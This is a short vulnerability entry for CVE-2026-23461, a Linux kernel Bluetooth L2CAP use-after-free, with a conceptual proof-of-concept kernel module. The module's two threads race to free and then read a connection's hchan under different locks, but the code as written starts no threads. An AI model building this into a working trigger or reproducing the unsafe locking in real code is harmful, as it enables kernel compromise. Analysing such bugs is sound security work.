CVE-2026-23461 Linux内核蓝牙L2CAP释放后重用漏洞

/* * Conceptual PoC for CVE-2026-23461 * Demonstrating the race condition between l2cap_conn_del and l2cap_unregister_user. * This code is for educational analysis purposes only. */ #include <linux/module.h> #include <linux/kthread.h> #include <net/bluetooth/bluetooth.h> #include <net/bluetooth/l2cap.h> static struct l2cap_conn *target_conn; // Thread 1: Simulates l2cap_conn_del path (holds conn->lock) static int thread_delete_conn(void *data) { while (!kthread_should_stop()) { if (target_conn) { mutex_lock(&target_conn->lock); // Simulate deletion logic // Freeing resources without proper synchronization check if (target_conn->hchan) kfree(target_conn->hchan); // Potential free target_conn->hchan = NULL; mutex_unlock(&target_conn->lock); } } return 0; } // Thread 2: Simulates l2cap_unregister_user path (holds hci_dev_lock) static int thread_unregister_user(void *data) { struct hci_dev *hdev = NULL; while (!kthread_should_stop()) { if (target_conn) { // Vulnerable: Uses wrong lock if (target_conn->hcon) hdev = target_conn->hcon->hdev; if (hdev) { hci_dev_lock(hdev); // Race: Accessing hchan which might be freed by Thread 1 if (target_conn->hchan) { printk(KERN_INFO "Accessing hchan: %p\n", target_conn->hchan); // Use-After-Free occurs here } hci_dev_unlock(hdev); } } } return 0; } static int __init poc_init(void) { // Setup threads to race against each other // Requires a valid Bluetooth connection context to fully trigger return 0; } module_init(poc_init);